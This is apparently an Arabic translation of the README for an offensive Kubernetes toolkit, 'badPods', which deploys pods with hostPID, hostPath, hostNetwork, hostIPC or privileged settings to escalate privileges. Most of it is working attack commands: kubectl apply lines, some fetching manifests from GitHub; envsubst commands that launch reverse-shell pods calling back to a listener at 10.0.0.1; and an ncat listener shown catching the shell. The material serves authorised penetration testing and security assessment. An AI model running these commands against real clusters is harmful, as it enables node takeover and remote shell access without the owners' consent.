
مجموعة من المانيفستات التي ستنشئ بودات بصلاحيات مرتفعة.

مجموعة من ملفات الـ manifests التي تنشئ pods بصلاحيات مرتفعة مختلفة. يمكنك بسرعة توضيح تأثير السماح بخصائص pods حساسة أمنيًا مثل hostNetwork و hostPID و hostPath و hostIPC و privileged.
للحصول على خلفية إضافية، راجع مقالنا: Bad Pods: Kubernetes Pod Privilege Escalation.
كل رابط أدناه يوفر معلومات استخدام مفصلة وتوصيات لما بعد الاستغلال.
للمزيد من المعلومات العامة حول المتطلبات الأساسية، وتنظيم المستودع، وأنماط الاستخدام الشائعة، راجع الأقسام أدناه.
├── manifests
│ ├── everything-allowed
│ │ ├── cronjob
│ │ │ ├── everything-allowed-exec-cronjob.yaml
│ │ │ └── everything-allowed-revshell-cronjob.yaml
│ │ ├── daemonset
│ │ │ ├── everything-allowed-exec-daemonset.yaml
│ │ │ └── everything-allowed-revshell-daemonset.yaml
│ │ ├── deployment
│ │ │ ├── everything-allowed-exec-deployment.yaml
│ │ │ └── everything-allowed-revshell-deployment.yaml
│ │ ├── job
│ │ │ ├── everything-allowed-exec-job.yaml
│ │ │ └── everything-allowed-revshell-job.yaml
│ │ ├── pod
│ │ │ ├── everything-allowed-exec-pod.yaml
│ │ │ └── everything-allowed-revshell-pod.yaml
│ │ ├── replicaset
│ │ │ ├── everything-allowed-exec-replicaset.yaml
│ │ │ └── everything-allowed-revshell-replicaset.yaml
│ │ ├── replicationcontroller
│ │ │ ├── everything-allowed-exec-replicationcontroller.yaml
│ │ │ └── everything-allowed-revshell-replicationcontroller.yaml
│ │ └── statefulset
│ │ ├── everything-allowed-exec-statefulset.yaml
│ │ └── everything-allowed-revshell-statefulset.yaml
│ ├── hostipc
│ │ ├── cronjob
│ │ │ ├── hostipc-exec-cronjob.yaml
│ │ │ └── hostipc-revshell-cronjob.yaml
│ │ ├── daemonset
│ │ │ ├── hostipc-exec-daemonset.yaml
│ │ │ └── hostipc-revshell-daemonset.yaml
...omitted for brevity...
كما يشير Eviatar Gerzi (@g3rzi) في المقال Eight Ways to Create a Pod، هناك 8 وحدات تحكم (controllers) مختلفة يمكنها إنشاء pod أو مجموعة pods. قد لا يكون لديك صلاحية إنشاء pods، لكن ربما يمكنك إنشاء نوع مورد آخر سينشئ pod واحدًا أو أكثر. لكل نوع من أنواع badPod، توجد manifests تتوافق مع جميع أنواع الموارد الثمانية.
لكن انتظر، الأمور أسوأ! بالإضافة إلى وحدات تحكم Kubernetes الثمانية الحالية التي يمكنها إنشاء pods، هناك وحدات تحكم من جهات خارجية يمكنها أيضًا إنشاء pods إذا تم تطبيقها على الكلاستر. ترقّبها بالنظر إلى kubectl api-resources.
على الرغم من أن الوصول عبر exec شائع، إلا أنه ليس من الممكن دائمًا التنفيذ داخل pods التي يمكنك إنشاؤها. لمساعدتك في هذه الحالات، يتم تضمين نسخة من كل manifest تستخدم صورة ncat الخاصة بـ Rory McCune (@raesene) على Docker Hub. عند إنشائها، سيقوم الـ pod بإنشاء اتصال مشفر بالعودة إلى المستمع (listener) الخاص بك.
كل مورد في دليل manifests يستهدف سمة محددة أو مجموعة سمات تعرض الكلاستر للخطر عند السماح بها.
kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml
لتجنب الحاجة إلى تعديل كل pod بالـ host والـ port خاصتك، يمكنك استخدام متغيرات البيئة وأمر envsubst. تذكر تشغيل جميع مستمعيك (listeners) أولاً!
HOST="10.0.0.1" PORT="3111" envsubst < ./manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3112" envsubst < ./manifests/priv-and-hostpid/pod/priv-and-hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3113" envsubst < ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3114" envsubst < ./manifests/hostpath/pod/hostpath-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3115" envsubst < ./manifests/hostpid/pod/hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3116" envsubst < ./manifests/hostnetwork/pod/hostnetwork-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3117" envsubst < ./manifests/hostipc/pod/hostipc-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3118" envsubst < ./manifests/nothing-allowed/pod/nothing-allowed-revshell-pod.yaml | kubectl apply -f -
kubectl apply -f manifests/hostnetwork/cronjob/hostnetwork-exec-cronjob.yaml
ابحث عن الـ pod الذي تم إنشاؤه
kubectl get pods | grep cronjob
NAME READY STATUS RESTARTS AGE
hostnetwork-exec-cronjob-1607351160-gm2x4 1/1 Running 0 24s
نفّذ داخل الـ pod
kubectl exec -it hostnetwork-exec-cronjob-1607351160-gm2x4 -- bash
kubectl apply -f manifests/priv-and-hostpid/deployment/priv-and-hostpid-exec-deployment.yaml
ابحث عن الـ pod الذي تم إنشاؤه
kubectl get pods | grep deployment
priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 1/1 Running 0 56s
priv-and-hostpid-exec-deployment-65dbfbf947-tghqh 1/1 Running 0 56s
نفّذ داخل الـ pod
kubectl exec -it priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 -- bash
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl apply -f {} \;
cronjob.batch/everything-allowed-exec-cronjob created
daemonset.apps/everything-allowed-exec-daemonset created
deployment.apps/everything-allowed-exec-deployment created
job.batch/everything-allowed-exec-job created
pod/everything-allowed-exec-pod created
replicaset.apps/everything-allowed-exec-replicaset created
replicationcontroller/everything-allowed-exec-replicationcontroller created
service/everything-allowed-exec-statefulset-service created
statefulset.apps/everything-allowed-exec-statefulset created
عرض جميع الـ pods التي تم إنشاؤها
kubectl get pods
NAME READY STATUS RESTARTS AGE
everything-allowed-exec-daemonset-qbrdb 1/1 Running 0 52s
everything-allowed-exec-deployment-6cd7685786-rp65h 1/1 Running 0 51s
everything-allowed-exec-deployment-6cd7685786-m66bl 1/1 Running 0 51s
everything-allowed-exec-job-fhsbt 1/1 Running 0 50s
everything-allowed-exec-pod 1/1 Running 0 50s
everything-allowed-exec-replicaset-tlp8v 1/1 Running 0 49s
everything-allowed-exec-replicaset-6znbz 1/1 Running 0 49s
everything-allowed-exec-replicationcontroller-z9k8n 1/1 Running 0 48s
everything-allowed-exec-replicationcontroller-m4648 1/1 Running 0 48s
everything-allowed-exec-statefulset-0 1/1 Running 0 47s
everything-allowed-exec-statefulset-1 1/1 Running 0 42s
حذف جميع موارد everything-allowed
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl delete -f {} \;
قم بإعداد مستمع (listener)
ncat --ssl -vlp 3116
أنشئ pod من ملف yaml المحلي دون تعديله باستخدام متغيرات البيئة و envsubst
HOST="10.0.0.1" PORT="3116" envsubst < ./yaml/priv/pod-priv-revshell.yaml | kubectl apply -f -
التقط الـ shell
ncat --ssl -vlp 3116
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: Listening on :::3116
Ncat: Listening on 0.0.0.0:3116
Connection received on 10.0.0.162 42035
نرحب بـ Pull requests والـ issues.
نشكر Rory McCune وDuffie Cooley وBrad Geesaman وTabitha Sable وIan Coldwater وMark Manning وEviatar Gerzi وMadhu Akula لمشاركتهم علنًا الكثير من المعرفة حول أمن Kubernetes الهجومي.
لكل Bad Pod قسم مراجع وقراءات إضافية خاص به، لكن إليك بعض الموارد العامة التي ستساعدك على تطوير مهاراتك في تقييم أمان Kubernetes واختبارات الاختراق.